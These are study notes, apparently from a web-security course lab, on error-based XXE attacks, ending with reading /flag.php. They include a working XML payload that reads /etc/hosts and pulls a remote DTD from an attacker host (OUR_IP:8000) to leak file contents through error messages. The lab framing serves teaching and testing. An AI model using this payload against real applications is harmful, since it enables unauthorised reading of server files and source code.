8. XXE - Error-based XXE

Web application may not actually write any output, and we cannot control any of the XML input entities to write its content. In such cases, we would be blind to XML output and would not be able to retrieve file content using previous methods.

If webapplication displays runtime errors i.e. PHP errors, and does not have proper exception handling for XML input - we can use this flaw to read the output of the XXE exploit. If webapp neither writes XML output NOR displays any errors we would face a completely blind situation - discussed soon after this mod.

Consider exercise we have in /error - where none of the XML input entities is displayed on screen.

  1. Attempt to send malformed XML data see if webapp displays errors
    1. Delete closing tags
    2. Change them so it does not close (<roo> instead of <root> etc.
    3. Reference non-existing entity

We will observe this does cause webapp to display an error - and reveals webserver directory, which is usable to read source code of other files.

![](/img/Pasted image 20241230162607.png)

Exploiting this flaw to exfiltrate file content:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

Once we host DTD script as we did earlier in [[7. XXE - Advanced file disclosure - CDATA tags]] and send above payload as our XML data we will get content of /etc/hosts for example.

This method may also be used to read the source code of files (i.e., not just etc/hosts )

![](/img/Pasted image 20241230165256.png) ![](/img/Pasted image 20241230165300.png)

Mod asks us to read /flag.php

![](/img/Pasted image 20241230165430.png) ![](/img/Pasted image 20241230165446.png)